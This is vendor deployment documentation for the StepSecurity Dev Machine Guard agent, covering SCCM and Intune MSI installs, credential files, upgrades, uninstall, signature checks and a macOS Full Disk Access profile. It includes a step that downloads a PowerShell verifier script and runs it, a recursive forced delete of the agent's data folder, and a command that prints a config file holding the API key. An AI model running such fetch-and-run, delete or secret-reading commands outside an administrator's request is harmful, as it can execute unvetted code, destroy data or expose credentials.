Many enterprise environments block PowerShell from making outbound network calls via EDR. The Dev Machine Guard MSI install, upgrade, and uninstall flows **never spawn PowerShell**. The execution chain is:

```
MDM → msiexec.exe → stepsecurity-dev-machine-guard.exe → schtasks.exe
```

This makes the MSI the preferred path for environments with strict PowerShell egress controls. The MSI also exposes a standard `ProductCode` and `UpgradeCode`, so detection rules, supersedence, and uninstall commands can be auto-derived by your MDM without any custom scripting.

Each MSI release ships with a [Sigstore (cosign) bundle](https://github.com/step-security/dev-machine-guard/blob/main/docs/deploying-via-sccm.md#signature-verification) alongside it for supply chain verification.

### Supported deployment tools

* [**Microsoft Configuration Manager (SCCM / MEMCM)**](/developer-machines/installation/script/mdm-deployment/windows/microsoft-configuration-manager-sccm)
* [**Microsoft Intune**](/developer-machines/installation/script/mdm-deployment/windows/microsoft-intune)

### Two ways to pass tenant credentials

Regardless of which MDM tool you use, you have two options for getting tenant credentials onto each endpoint:

|                     | **Inline MSI properties**                            | **Pre-staged bootstrap file**                              |
| ------------------- | ---------------------------------------------------- | ---------------------------------------------------------- |
| **Set up**          | One step (MSI deploy)                                | Two steps (drop config, then MSI deploy)                   |
| **API key in logs** | Appears in MDM install logs if verbose logging is on | Never on command line, safe under any logging              |
| **Multi-tenant**    | One application per tenant                           | One application, per-tenant config via config distribution |
| **Recommended**     | OK for small or lab deployments                      | **Yes for production**                                     |

Each tool-specific guide below shows how to apply both options in that tool's deployment UI.


# Microsoft Configuration Manager (SCCM)

This guide is for IT admins deploying Dev Machine Guard to a fleet of Windows endpoints through **Microsoft Configuration Manager** (formerly SCCM, now part of the Microsoft Intune family as MEMCM / ConfigMgr).

{% hint style="info" %}
SCCM consumes the Dev Machine Guard MSI natively as a **Windows Installer (`*.msi`)** Application deployment type. Detection rule and uninstall command are auto-derived from the MSI `ProductCode`, so no scripting is required on your side.
{% endhint %}

### What ships

* `stepsecurity-dev-machine-guard-<version>-x64.msi` (Windows on Intel/AMD)
* `stepsecurity-dev-machine-guard-<version>-arm64.msi` (Windows on ARM)

Download the MSI for your architecture from [GitHub Releases](https://github.com/step-security/dev-machine-guard/releases).

### Two ways to pass tenant credentials

|                     | **Option A: Inline properties**                     | **Option B: Pre-staged bootstrap file**                            |
| ------------------- | --------------------------------------------------- | ------------------------------------------------------------------ |
| **Set up**          | One step (MSI deploy)                               | Two steps (drop config, then MSI deploy)                           |
| **API key in logs** | Appears in `AppEnforce.log` if `/l*v` is on         | Never on command line, safe under any logging                      |
| **Multi-tenant**    | One Application per tenant (different command line) | One Application; per-tenant config via GPO/Intune File preferences |
| **Recommended**     | OK for small or lab deployments                     | **Yes for production**                                             |

#### Option A: Inline properties

Use this in the SCCM Application's **Installation program** field:

```cmd
msiexec /i "stepsecurity-dev-machine-guard-<version>-x64.msi" /qn ^
  CUSTOMERID="acme-corp" ^
  APIENDPOINT="https://agent.api.stepsecurity.io" ^
  APIKEY="step_xxxxxx" ^
  SCANFREQUENCY=4 ^
  /l*v "C:\Windows\Temp\dmg-install.log"
```

| Property        | Required | Description                                                              |
| --------------- | -------- | ------------------------------------------------------------------------ |
| `CUSTOMERID`    | Yes      | Your StepSecurity tenant ID                                              |
| `APIENDPOINT`   | Yes      | StepSecurity backend URL (typically `https://agent.api.stepsecurity.io`) |
| `APIKEY`        | Yes      | Tenant API key from your StepSecurity dashboard                          |
| `SCANFREQUENCY` | No       | Scheduled scan frequency in hours (default `4`)                          |

#### Option B: Pre-staged bootstrap file (recommended)

**Step 1.** Deploy a JSON config to every target endpoint via GPO File Preferences, Intune Settings Catalog → Files, or any other config distribution channel. Path:

```
C:\ProgramData\StepSecurity\bootstrap.json
```

Contents:

```json
{
  "customer_id": "acme-corp",
  "api_endpoint": "https://agent.api.stepsecurity.io",
  "api_key": "sk_live_xxxxxxxxxxxxxxxx",
  "scan_frequency_hours": "4"
}
```

**Step 2.** Deploy the MSI with the `BOOTSTRAPFILE` property pointing at that path:

```cmd
msiexec /i "stepsecurity-dev-machine-guard-<version>-x64.msi" /qn ^
  BOOTSTRAPFILE="C:\ProgramData\StepSecurity\bootstrap.json" ^
  /l*v "C:\Windows\Temp\dmg-install.log"
```

The API key never appears on the `msiexec` command line, so it stays out of `AppEnforce.log` even with verbose logging enabled. The bootstrap file can be ACL-restricted to SYSTEM and Administrators if you want defense-in-depth.

#### A note on the persisted `config.json` and multi-user machines

Either deployment path writes the resolved config, **including `api_key` in plaintext**, to `C:\ProgramData\StepSecurity\config.json` on each endpoint. This is required because the scheduled task runs under the logged-in user's context and needs to read the config at scan time.

The installer hardens the file's ACL on write to:

* `NT AUTHORITY\SYSTEM` — Full Control
* `BUILTIN\Administrators` — Full Control
* `BUILTIN\Users` — Read

Inheritance is disabled. So any logged-in user can read the API key (necessary for the scanner), but cannot modify it. On a single-user developer workstation this is the expected security posture.

{% hint style="warning" %}
On a **shared multi-user machine** (kiosk, lab workstation, RDS host) every interactive user can read the tenant API key from `config.json`. If that is not acceptable for your environment:

* Use the `BOOTSTRAPFILE` path and tighten the bootstrap file's ACL yourself (the installer only manages `config.json`'s ACL).
* Or scope deployment to single-user machines via SCCM collection requirements.

DPAPI-backed storage is on the roadmap. Open a [feature request](https://github.com/step-security/dev-machine-guard/issues) to register interest.
{% endhint %}

### SCCM Application setup, step by step

**Step 1:** Go to **Software Library → Applications → Create Application**.

<figure><img src="/files/5s8sheagMoIkgPr59kZt" alt=""><figcaption></figcaption></figure>

**Step 2:** Select **Manually specify the application information** and fill in:

* **Name:** `StepSecurity Dev Machine Guard`
* **Publisher:** `StepSecurity`
* **Software version:** matches the MSI you are deploying (e.g., `1.11.3`)

<figure><img src="/files/BJfzo3aI0wGYaMBn2qVL" alt=""><figcaption></figcaption></figure>

**Step 3:** Add a Deployment Type and select **Windows Installer (`*.msi`)**.

<figure><img src="/files/yuJ6KYiiRNbaEpm2G4op" alt=""><figcaption></figcaption></figure>

**Step 4:** Under **Content**, point at the `.msi` file on a share that the Distribution Points can pull from.

<figure><img src="/files/0FBj1dhDUIUlsNoVAZFk" alt=""><figcaption></figcaption></figure>

**Step 5:** On the **Programs** tab:

* **Installation program:** use the command from Option A or Option B above.
* **Uninstall program:** SCCM auto-fills from the MSI `ProductCode`, usually `msiexec /x {PRODUCT-CODE} /qn`. Accept the default.

<figure><img src="/files/hZAxSndjHGeKNIRZTVwJ" alt=""><figcaption></figcaption></figure>

**Step 6:** For **Detection method**, accept SCCM's offer to use the MSI's product code. No custom script needed.

<figure><img src="/files/CGxh3e1hLpK30mi9K0F5" alt=""><figcaption></figcaption></figure>

**Step 7:** On the **User Experience** tab:

* **Installation behavior:** Install for system
* **Logon requirement:** Whether or not a user is logged on
* **Installation program visibility:** Hidden

<figure><img src="/files/RfmZPxCdt9qPrCVLXl05" alt=""><figcaption></figcaption></figure>

**Step 8:** On the **Requirements** tab:

* For the x64 MSI: `Operating system → Windows → All Windows 10/11 (64-bit) and Windows Server 2016+ (64-bit)`
* For the arm64 MSI: same selection but the ARM64 variant

<figure><img src="/files/J8iFCqyy8kObvhBWKZZ6" alt=""><figcaption></figcaption></figure>

**Step 9:** Deploy to a test collection first (5 to 10 machines), then expand to the full fleet.

<figure><img src="/files/agtVE3tq73cPD3Zs01C4" alt=""><figcaption></figcaption></figure>

### Validating a successful deployment

After SCCM reports the install as complete, on a target endpoint:

```cmd
:: 1. The binary is on disk
dir "C:\Program Files\StepSecurity\stepsecurity-dev-machine-guard.exe"

:: 2. The scheduled task is registered
schtasks /query /tn "StepSecurity Dev Machine Guard"

:: 3. The config landed where the scanner can read it
type "C:\ProgramData\StepSecurity\config.json"

:: 4. (Optional) trigger an immediate scan to confirm end-to-end
"C:\Program Files\StepSecurity\stepsecurity-dev-machine-guard.exe" send-telemetry
```

The configured tenant should see the endpoint in the StepSecurity dashboard within a few minutes.

<figure><img src="/files/cOiPRjYCKyrZPWz7gsRC" alt=""><figcaption></figcaption></figure>

### Upgrades

When a new version ships, **create a new Application** in SCCM with the new MSI and mark it as **superseding** the previous Application:

**Step 1:** On the new Application, open the **Supersedence** tab and click **Add**, then pick the old Application.

<figure><img src="/files/YurcQh0hsdzfnOYXyENq" alt=""><figcaption></figcaption></figure>

**Step 2:** Choose **Uninstall** for the old app. The new MSI's MajorUpgrade will do the uninstall atomically, but SCCM needs the supersedence link to track which endpoints to push the upgrade to.

**Step 3:** Deploy the new Application to the same collection.

On each endpoint:

* SCCM pushes the new MSI on its next policy cycle (default 60 minutes).
* Windows Installer recognizes the upgrade (same `UpgradeCode`, higher `Version`) and atomically uninstalls the old version (removing the scheduled task via the `uninstall` custom action), then installs the new one (re-registering the task with the new binary).
* The per-tenant config at `C:\ProgramData\StepSecurity\config.json` is **preserved across upgrades**, so tenant configuration is retained automatically.

### Uninstall

The SCCM uninstall fires the `msiexec /x {ProductCode}` command. Dev Machine Guard's custom action runs **before** file removal and calls `stepsecurity-dev-machine-guard.exe uninstall`, which removes the scheduled task via `schtasks /delete`. MSI then removes the executable and empties `C:\Program Files\StepSecurity\`.

The config at `C:\ProgramData\StepSecurity\config.json` is **not** removed by MSI, since it lives outside the install scope. If you want a clean uninstall, add this as a post-uninstall cleanup step in SCCM or via GPO:

```cmd
rmdir /s /q "C:\ProgramData\StepSecurity"
```

### Troubleshooting

| Symptom                                                    | Likely cause                                              | Where to look                                           |
| ---------------------------------------------------------- | --------------------------------------------------------- | ------------------------------------------------------- |
| MSI exit code 1603                                         | Custom action failed (bad credentials, `schtasks` denied) | `C:\Windows\Temp\dmg-install.log` (msiexec verbose log) |
| Scheduled task missing                                     | `install` custom action skipped or failed                 | Same log; search for `RunInstallScheduledTask`          |
| Endpoint not reporting to dashboard                        | Wrong API key or endpoint                                 | `type C:\ProgramData\StepSecurity\config.json`          |
| Endpoint config still under `%USERPROFILE%\.stepsecurity\` | MSI ran without elevation (should not happen via SCCM)    | Verify SCCM Application is set to "Install for system"  |

When opening a support case, attach:

```
C:\Windows\Temp\dmg-install.log    (msiexec verbose log)
C:\ProgramData\StepSecurity\agent.log         (scanner output)
C:\ProgramData\StepSecurity\agent.error.log
```

### Verifying the MSI before deployment

Before pushing an MSI to SCCM, run this check on a test workstation to confirm the file came from StepSecurity and has not been tampered with. This is a second integrity check, independent of the Windows publisher signature (Authenticode) that Windows already verifies at install time.

#### Files to download

From the [GitHub release page](https://github.com/step-security/dev-machine-guard/releases), grab both files below for each architecture (`x64` or `arm64`) you deploy:

* `stepsecurity-dev-machine-guard-<version>-<arch>.msi`
* `stepsecurity-dev-machine-guard-<version>-<arch>.msi.sha256.sig`

#### Download and run the verifier

```powershell
Invoke-WebRequest `
  -Uri "https://raw.githubusercontent.com/step-security/dev-machine-guard/main/scripts/verify-msi.ps1" `
  -OutFile ".\verify-msi.ps1"

.\verify-msi.ps1 .\stepsecurity-dev-machine-guard-<version>-<arch>.msi
```

Success exits `0` and prints:

```
[OK]    Signature VERIFIED - MSI is authentic and untampered.
```

#### If verification fails

Do not deploy the MSI. Re-download both files from the official GitHub release and retry. If a fresh download still fails, contact `support@stepsecurity.io`.


# Microsoft Intune

This guide walks IT admins through deploying Dev Machine Guard across a Windows fleet with **Microsoft Intune**, packaged as a **Win32 app** built from the signed MSI (`.intunewin`). It covers install, validation, upgrades, and removal — all driven from the Intune portal.

### What ships

Download the `.intunewin` for your architecture from [GitHub Releases](https://github.com/step-security/dev-machine-guard/releases):

* `stepsecurity-dev-machine-guard-<version>-x64.intunewin` (Windows on Intel/AMD)
* `stepsecurity-dev-machine-guard-<version>-arm64.intunewin` (Windows on ARM)

Each `.intunewin` is Microsoft's Win32 Content Prep Tool output wrapping the **signed MSI** plus a thin `install.cmd` / `uninstall.cmd` pair that forward Intune's arguments to `msiexec`. Each release also publishes a matching Sigstore (cosign) `.intunewin.bundle` alongside it — grab it too if you plan to verify provenance before staging (see Signature verification below).

### How installation works

The agent installs entirely through native Windows Installer (`msiexec`), with **no PowerShell anywhere in the chain**. In locked-down fleets where EDR, AppLocker, or Constrained Language Mode restrict scripting, a script-based deployment can be blocked or flagged — a pure-MSI install is not:

```
Intune Management Extension → install.cmd → msiexec.exe → stepsecurity-dev-machine-guard.exe → schtasks.exe
```

With **Install behavior = System**, the install runs as SYSTEM, so it deploys to a device even before any user logs on.

> **Install runs as SYSTEM; the scan runs as the signed-in user.** A device with nobody logged in installs fine and shows **Installed** in Intune, but won't report to the StepSecurity dashboard until a user signs in and the scheduled task fires. This is expected, not a failure.

### Passing tenant credentials

Pass credentials **inline** as MSI public properties in the install command (see Program below):

| Property        | Required | Description                                                              |
| --------------- | -------- | ------------------------------------------------------------------------ |
| `CUSTOMERID`    | yes      | Your StepSecurity tenant ID                                              |
| `APIENDPOINT`   | yes      | StepSecurity backend URL (typically `https://agent.api.stepsecurity.io`) |
| `APIKEY`        | yes      | Tenant API key from your StepSecurity dashboard                          |
| `SCANFREQUENCY` | no       | Scheduled scan frequency in hours (default `4`)                          |

#### A note on the persisted `config.json`

The installer writes the resolved config — **including `api_key` in plaintext** — to `C:\ProgramData\StepSecurity\config.json`, because the scheduled task reads it at scan time. It hardens the file's ACL (SYSTEM + Administrators = Full, Users = Read, inheritance disabled), so any signed-in user can read the key but not modify it. On a **shared multi-user machine** that means every interactive user can read the tenant API key — if that's unacceptable, scope deployment to single-user devices.

### Intune Win32 app setup, step by step

**Apps → Windows → Add**, then select app type **Windows app (Win32)**.

<figure><img src="/files/FHhj3adqR74rzuXsjGJC" alt=""><figcaption></figcaption></figure>

**Step 1 — App information.** Upload the `.intunewin` for your architecture via **Select file**, then fill in:

| Field                             | Value                                                                                                           |
| --------------------------------- | --------------------------------------------------------------------------------------------------------------- |
| Name                              | `StepSecurity Dev Machine Guard` (suffix the version, e.g. `… 1.11.5`, so supersedence chains stay unambiguous) |
| Publisher                         | `StepSecurity`                                                                                                  |
| App version                       | The version inside the `.intunewin` — **must match** the MSI's `ProductVersion`                                 |
| Category / featured / URLs / logo | leave default / empty                                                                                           |

<figure><img src="/files/fNuzI9Fzqm3RizY89Zpv" alt=""><figcaption></figcaption></figure>

**Step 2 — Program.**

| Field                             | Value                                                                                                                        |
| --------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- |
| Install command                   | `install.cmd CUSTOMERID=<your_customer> APIKEY=<your_api_key> APIENDPOINT=https://agent.api.stepsecurity.io SCANFREQUENCY=4` |
| Uninstall command                 | `uninstall.cmd`                                                                                                              |
| Install behavior                  | **System**                                                                                                                   |
| Installation time required (mins) | `60` (raise the default — a slow endpoint can otherwise time out and report Failed)                                          |
| Allow available uninstall         | **No** (required security tool — users must not self-uninstall)                                                              |
| Device restart behavior           | No specific action                                                                                                           |
| Return codes                      | Defaults                                                                                                                     |

`install.cmd` forwards all arguments to `msiexec /i`, so MSI public properties pass through in any order.

<figure><img src="/files/s9r7cU09lkcWPItpngbT" alt=""><figcaption></figcaption></figure>

**Step 3 — Requirements.**

| Field                         | Value                                                                |
| ----------------------------- | -------------------------------------------------------------------- |
| Operating system architecture | the arch matching this `.intunewin` (x64 **or** ARM64)               |
| Minimum operating system      | Windows 10 / Windows Server 2016 (or your org's baseline, if higher) |

If your fleet has both x64 and ARM64 endpoints, create **two separate Win32 apps**, one per architecture, each gated to its own arch.

<figure><img src="/files/OWX8xEaRGlxNNaWK6y0t" alt=""><figcaption></figcaption></figure>

**Step 4 — Detection rules.** Choose **Manually configure detection rules**, add a **Registry** rule:

| Field                        | Value                                               |
| ---------------------------- | --------------------------------------------------- |
| Key path                     | `HKEY_LOCAL_MACHINE\Software\StepSecurity`          |
| Value name                   | `AgentVersion`                                      |
| Detection method             | String comparison                                   |
| Operator                     | **Equals**                                          |
| Value                        | The version inside the `.intunewin` (e.g. `1.11.5`) |
| 32-bit app on 64-bit clients | No                                                  |

<figure><img src="/files/sUH5539U6VpJeVpYRYa8" alt=""><figcaption></figcaption></figure>

The MSI writes the installed version to `HKLM\Software\StepSecurity\AgentVersion` on every install. Use a registry rule, not a product-code rule — the product code changes with each release, so a product-code rule would report "Not installed" after an upgrade. The version-valued key works for both fresh installs and upgrades, with no custom detection script.

**Step 5 — Dependencies / Supersedence.** Skip both on initial deploy. Supersedence is used later when uploading a newer version — see Upgrades.

**Step 6 — Assignments.** Add the target Entra device group under **Required** (App availability + Installation deadline = As soon as possible). Leave **Available for enrolled devices** and **Uninstall** empty.

<figure><img src="/files/g4fzl27m9sYUSU0BP4Ue" alt=""><figcaption></figcaption></figure>

**Step 7 — Review + create.** Verify the summary and **Create**. Intune processes the payload (under a minute for a \~4 MB build) and the app appears under **Apps → Windows apps**.

<figure><img src="/files/ljfugeoHL5ISbb06lUYs" alt=""><figcaption></figcaption></figure>

### Validating a successful deployment

Both checks use surfaces you already have — no shell access to the endpoint is needed.

A fresh assignment typically takes **20–30 minutes** to flip a device's status to **Installed**, even with a manual sync — manual sync shortens IME's check-in, not Intune's backend propagation. Be patient on the first attempt.

1. **Intune portal** — Apps → the app → **Device install status** → the device row reads **Installed**. This confirms the detection rule matched (the agent's version key is present on the device).

<figure><img src="/files/awPlfywlRDc9Ws6D5PJM" alt=""><figcaption></figcaption></figure>

2. **StepSecurity dashboard** — the endpoint appears within a few minutes of its first scheduled scan. This is the end-to-end confirmation that the agent is both installed *and* reporting. Recall the scan runs in the signed-in user's context, so a device with nobody logged in shows **Installed** in Intune but won't appear in the dashboard until a user signs in.

### Upgrades

To ship a new version, upload it as a **separate Win32 app that supersedes the current one**. The MSI performs the in-place major upgrade; Intune just routes the new version to devices via the supersedence link.

Create the new version as a **separate Win32 app** (same setup as above, new App version + version-suffixed Name), with one delta on the **Supersedence** page:

| Field                          | Value                                              |
| ------------------------------ | -------------------------------------------------- |
| **+ Add**                      | The previous version's app entry (e.g. `… 1.11.5`) |
| **Uninstall previous version** | **Off** — row reads `Update`, not `Replace`        |

<figure><img src="/files/Iwp6ztEaCsLYtGVq4Eo3" alt=""><figcaption></figcaption></figure>

Leave **Uninstall previous version off** — the MSI does an atomic in-place upgrade, so forcing an Intune uninstall first would take the agent down mid-transition and risk orphaning its config. IME runs the new `install.cmd`, detection flips automatically (the new app's rule passes, the old one's fails), and `C:\ProgramData\StepSecurity\config.json` is preserved — no admin touches the device.

### Uninstall

Removal is driven from Intune — never `msiexec /x` on the endpoint directly. For **each** app entry targeting the device, move the group from **Required** to **Uninstall** (Properties → Assignments → Edit → Review + save). On the next IME check-in, `uninstall.cmd` removes the scheduled task, binaries, registry key, and ARP entry.

{% hint style="info" %}
**Flip every version in the supersedence chain, not just the latest.** Intune doesn't infer uninstall intent from the newer entry. If you flip only the newest app while an older superseded one is still **Required**, IME uninstalls the new version and then **reinstalls the old** to satisfy that surviving intent — leaving the device downgraded and mis-configured.
{% endhint %}

<figure><img src="/files/Hxh4gl4mihBZI69l2iwg" alt=""><figcaption></figcaption></figure>

`C:\ProgramData\StepSecurity\config.json` is intentionally **kept** so tenant identity survives an uninstall/reinstall. It stays ACL-restricted after removal, so it isn't a live exposure. If you must purge it fleet-wide — e.g. when retiring the tenant entirely — push a cleanup script through Intune to delete `C:\ProgramData\StepSecurity\`, since the endpoints aren't reachable directly.

### Troubleshooting

Everything below is diagnosable from the Intune portal — no access to the endpoint is needed. To retrieve device logs remotely, use **Devices → \[device] → Collect diagnostics**, which pulls the Intune Management Extension logs (`AgentExecutor.log`, `IntuneManagementExtension.log`) into a downloadable package.

| Symptom (visible to you)                                                     | Likely cause                                                                                     | What to do                                                                                                                |
| ---------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------- |
| Device never appears in **Device install status** (Total = 0) after 30+ min  | Device not in the assigned group, or hasn't checked in yet                                       | Groups → group → **Members**; Devices → device → **Last check-in**, then **Sync**                                         |
| Device shows **Failed**                                                      | Typo in the install command, or msiexec error                                                    | **Device install status** shows the error / exit code; **Collect diagnostics** to read the msiexec result in the IME logs |
| Shows **Installed** in Intune but **absent from the StepSecurity dashboard** | No user has signed in yet (the scan runs in the user context), or wrong `APIKEY` / `APIENDPOINT` | Confirm a user has signed in; re-check the credential values in the app's **install command**                             |
| Uninstall applies to one chain app but not another                           | Per-app reevaluation throttle                                                                    | Force a device **Sync** and wait a cycle; if it persists, **Collect diagnostics** and open a support case                 |

For a support case, run **Devices → \[device] → Collect diagnostics** and attach the resulting package. If someone has access to the device, also include the MSI verbose log (`C:\ProgramData\StepSecurity\install.log`) and the agent logs (`agent.log`, `agent.error.log`).

### Signature verification

The `.intunewin` ships with a **Sigstore (cosign) bundle** proving it was built by this repo's GitHub Actions release workflow from a tagged commit, with no out-of-band tampering. Verify before staging:

```bash
# Linux/macOS with cosign installed
cosign verify-blob \
  --bundle stepsecurity-dev-machine-guard-<version>-x64.intunewin.bundle \
  --certificate-identity-regexp 'https://github.com/step-security/dev-machine-guard/.*' \
  --certificate-oidc-issuer https://token.actions.githubusercontent.com \
  stepsecurity-dev-machine-guard-<version>-x64.intunewin
```

Output ends with `Verified OK`. Any other result — abort the deployment.

The MSI inside is also Authenticode-signed (Azure Trusted Signing); Windows verifies that transparently at install time, and IME extracts the MSI verbatim so the publisher signature flows through unchanged. No action needed on your side.


# macOS

Dev Machine Guard runs on macOS through the [Installation Script](/developer-machines/installation) loader, which can be pushed to your fleet via any macOS MDM that supports script execution.

### Supported deployment tools

* [**Iru (formerly Kandji)**](/developer-machines/installation/script/mdm-deployment/macos/iru-formerly-kandji) — full guide

{% hint style="info" %}
The script-based delivery model is the same across every macOS MDM listed above. If your MDM is not yet covered by a dedicated guide, the **"Where to start today"** section below shows the general pattern.
{% endhint %}

### Where to start today

If your MDM does not yet have a dedicated guide on this page:

1. Open the [**Installation Script**](/developer-machines/installation) page in the StepSecurity dashboard.
2. Select the **macOS** tab and copy the loader script (or click **Download**).
3. Deploy the script through your MDM using its standard script-distribution mechanism. For example: a Jamf Pro Policy with a Script payload, a Mosyle Custom Command, or an Intune Shell Script assignment.
4. Schedule it to run periodically (typically once daily) using your MDM's scheduling primitives.

Devices will appear in the StepSecurity dashboard under **Developer Machines →** [**Devices**](/developer-machines/devices) within a few minutes of the first successful run.

## macOS TCC permissions

macOS **Transparency, Consent, and Control** (TCC) is Apple's per-app permission system. It gates access to user data folders (`~/Documents`, `~/Downloads`, `~/Desktop`, `~/Pictures`, the Mail, Messages, and Safari libraries, iCloud Drive, removable volumes, and more). This section covers how Dev Machine Guard handles TCC and what to configure on a fleet so the agent can scan those folders without prompting users.

### Default behavior: skip TCC-protected paths

The agent ships with safe defaults: every scan (the `send-telemetry` run from launchd and direct CLI runs alike) skips the well-known macOS TCC-protected directories. This has two effects:

* The agent never triggers a TCC permission popup. End users do not see a "stepsecurity-dev-machine-guard would like to access files in your Documents folder" dialog.
* Anything under a TCC-protected path (a Node.js project in `~/Documents/code`, a venv under `~/Desktop/scratch`, an `.npmrc` in `~/Downloads`) is not scanned.

For most fleets this is the right trade-off, since developer code typically lives under `~/code`, `~/src`, or `~/work` rather than in `~/Documents`. Customers who want full coverage should grant the agent Full Disk Access via an MDM-pushed PPPC profile (recommended) or via System Settings on each machine, then set `include_tcc_protected` to `true`.

**What gets skipped**

The skip list is anchored at the logged-in user's `$HOME` and covers the well-known TCC categories on modern macOS:

```
~/Desktop      ~/Movies     ~/Public
~/Documents    ~/Music      ~/Library
~/Downloads    ~/.Trash
~/Pictures     /Volumes/.timemachine*   (Time Machine local snapshots, prefix match)
```

`~/Library` is skipped wholesale rather than per-subpath. Every macOS release adds new Apple-managed subtrees behind new TCC services, so a curated allowlist of `Library/X` entries goes stale on every upgrade and prompts start firing at end users again. `~/Library` is also the wrong place for developer projects, lockfiles, or `.npmrc` files. The detectors that do need specific paths under `~/Library` (JetBrains plugins at `~/Library/Application Support/JetBrains/...`, the Claude desktop MCP config, the pip global config) use targeted read calls that bypass the skip list, so they keep working unchanged.

If a search directory is explicitly named (for example `--search-dirs ~/Documents`), the walk root itself is honored. The skip only applies to TCC paths encountered as descendants of the walked root.

### Toggling the behavior

Three places can set the toggle. A CLI flag wins over the persistent config, which wins over the default.

**CLI flag (single run)**

```bash
# Default: TCC paths skipped, no popups
stepsecurity-dev-machine-guard --pretty --enable-npm-scan

# Opt in to scanning TCC paths for this run
stepsecurity-dev-machine-guard --pretty --enable-npm-scan --include-tcc-protected

# Explicit skip (even if config says otherwise)
stepsecurity-dev-machine-guard --pretty --enable-npm-scan --no-include-tcc-protected
```

**Persistent config (`~/.stepsecurity/config.json`)**

```json
{
  "customer_id": "your-customer-id",
  "api_endpoint": "https://api.stepsecurity.io",
  "api_key": "step_…",
  "scan_frequency_hours": "4",
  "include_tcc_protected": true
}
```

The agent reads this on every run. On an MDM-deployed fleet, the StepSecurity loader script (the `.sh` file the dashboard generates for each customer) writes `config.json` on every periodic tick. To roll out `include_tcc_protected` across a fleet, either edit the loader script's `write_config()` heredoc before deploying it via MDM, or have admins write the field into `~/.stepsecurity/config.json` directly on each machine (for example, via a Configuration Profile or a file-deployment mechanism).

### Granting Full Disk Access

Setting `include_tcc_protected: true` only tells the agent not to self-censor. macOS still enforces TCC: without a grant, reads in protected directories fail silently with `EACCES`. For the agent to see the contents, it needs Full Disk Access (FDA).

There are two ways to grant FDA.

#### Option A — MDM-pushed PPPC profile (recommended for fleets)

Apple's **Privacy Preferences Policy Control (PPPC)** payload lets MDM admins pre-approve specific binaries for specific TCC services. The end user sees nothing; the grant is in place the moment the device checks in with the MDM.

This is the only way to grant FDA at scale without per-user clicks.

**Inputs you need**

* **The install path of the binary.** By default the loader installs at `~/.stepsecurity/bin/stepsecurity-dev-machine-guard`, which is per-user. Because PPPC's `Identifier` field takes an absolute filesystem path when `IdentifierType` is `path` (it has no `$HOME`/variable expansion), set a **fixed system-wide install directory** (under the loader's Advanced Configuration) so one profile applies to every user on the device — for example `/usr/local/stepsecurity`, which installs the binary at `/usr/local/stepsecurity/bin/stepsecurity-dev-machine-guard`.
* **The code requirement string** derived from the binary's signature. PPPC pairs the install path with this requirement so an impostor binary at the same path can't claim the grant. Generate it with:

  ```bash
  codesign -d -r- /path/to/stepsecurity-dev-machine-guard 2>&1 | sed -n 's/^designated => //p'
  ```

You'll get a line like:

```
identifier "stepsecurity-dev-machine-guard" and anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "D63S9HLM4L"
```

**PPPC profile XML**

Most MDMs (Jamf Pro, Kandji, Intune for macOS, JumpCloud, Mosyle, SimpleMDM, …) accept a `.mobileconfig` profile or a JSON equivalent they convert. The relevant payload type is `com.apple.TCC.configuration-profile-policy`. A minimal profile granting **SystemPolicyAllFiles** (Full Disk Access) to the agent:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>PayloadType</key>
    <string>Configuration</string>
    <key>PayloadVersion</key>
    <integer>1</integer>
    <key>PayloadIdentifier</key>
    <string>io.stepsecurity.dmg.tcc</string>
    <key>PayloadUUID</key>
    <string>REPLACE-WITH-UUIDGEN-OUTPUT</string>
    <key>PayloadDisplayName</key>
    <string>StepSecurity Dev Machine Guard — Full Disk Access</string>
    <key>PayloadScope</key>
    <string>System</string>
    <key>PayloadContent</key>
    <array>
        <dict>
            <key>PayloadType</key>
            <string>com.apple.TCC.configuration-profile-policy</string>
            <key>PayloadVersion</key>
            <integer>1</integer>
            <key>PayloadIdentifier</key>
            <string>io.stepsecurity.dmg.tcc.pppc</string>
            <key>PayloadUUID</key>
            <string>REPLACE-WITH-UUIDGEN-OUTPUT</string>
            <key>Services</key>
            <dict>
                <key>SystemPolicyAllFiles</key>
                <array>
                    <dict>
                        <key>Identifier</key>
                        <string>REPLACE_INSTALL_DIR/bin/stepsecurity-dev-machine-guard</string>
                        <key>IdentifierType</key>
                        <string>path</string>
                        <key>CodeRequirement</key>
                        <string>anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "D63S9HLM4L"</string>
                        <key>Allowed</key>
                        <true/>
                        <key>Comment</key>
                        <string>Allow Dev Machine Guard to scan all files for dev-tool inventory and supply-chain checks.</string>
                    </dict>
                </array>
            </dict>
        </dict>
    </array>
</dict>
</plist>
```

Replace:

* Both `REPLACE-WITH-UUIDGEN-OUTPUT` values with fresh UUIDs (`uuidgen` on macOS).
* `REPLACE_INSTALL_DIR` with the fixed system-wide install directory you configured (for example `/usr/local/stepsecurity`), so the `Identifier` resolves to `<install-dir>/bin/stepsecurity-dev-machine-guard`.

The `CodeRequirement` is already pinned to StepSecurity's Apple Developer Team ID (`D63S9HLM4L`) — leave it as-is.

**Push the profile**

| MDM                    | Path                                                                                                                                       |
| ---------------------- | ------------------------------------------------------------------------------------------------------------------------------------------ |
| **Jamf Pro**           | Computers → Configuration Profiles → New → Upload → select the `.mobileconfig` file. Scope to a Smart Group containing developer machines. |
| **Kandji**             | Library → Add new → Custom Profile → upload `.mobileconfig`. Assign the Blueprint that targets developer devices.                          |
| **Intune (Microsoft)** | Devices → Configuration → Create → macOS → Templates → Custom → upload the `.mobileconfig`. Assign to a device group.                      |
| **Mosyle**             | Management → Profiles → Add → Custom → upload `.mobileconfig`.                                                                             |
| **JumpCloud**          | MDM → Policies → Custom Mac Profile → upload.                                                                                              |

The profile takes effect on the next MDM check-in (usually within minutes). Verify with:

```bash
# On a managed Mac:
profiles list -all | grep -i stepsecurity
# Or open System Settings → Privacy & Security → Full Disk Access
# and confirm "stepsecurity-dev-machine-guard" is listed and toggled on.
```

